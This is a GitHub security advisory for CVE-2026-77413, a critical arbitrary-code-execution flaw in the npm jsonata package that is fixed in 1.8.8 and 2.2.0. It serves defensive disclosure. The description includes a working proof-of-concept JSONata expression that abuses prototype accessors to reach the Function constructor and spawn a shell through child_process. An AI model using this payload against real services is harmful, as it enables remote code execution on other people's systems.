GitHub Advisoryadvisory · npm

GHSA-8gq3-vp5j-2grp JSONata: Arbitrary Code Execution via crafted JSONata expressions

CRITICAL Published 2026-08-21 Modified 2026-08-21 Official page ↗
Aliases
CVE-2026-77413
Ecosystem
npm
Packages
jsonata
Severity
Critical
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weaknesses
CWE-94
Reviewed
2026-08-21

Affected packages

• npm jsonata: < 1.8.8 → fixed in 1.8.8 • npm jsonata: >= 2.0.0, < 2.2.0 → fixed in 2.2.0

Description

Impact Before JSONata `2.2.0` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a missing `hasOwnProperty` check in the `lookup` function: https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705 This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the `2.2.0` release, and ported in the `1.8.8` release. PoC ```js import jsonata from "jsonata"; const expression = jsonata(` ( __lookupSetter__('__proto__')(constructor); __defineGetter__('l', constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()")); valueOf().l ) `); await expression.evaluate({}); ```

Related

Alias · CVE (1)

  • CVE-2026-77413 JSONata is a JSON query and transformation language. vulnerability

Weakness · CWE (1)

  • CWE-94 Improper Control of Generation of Code weakness

References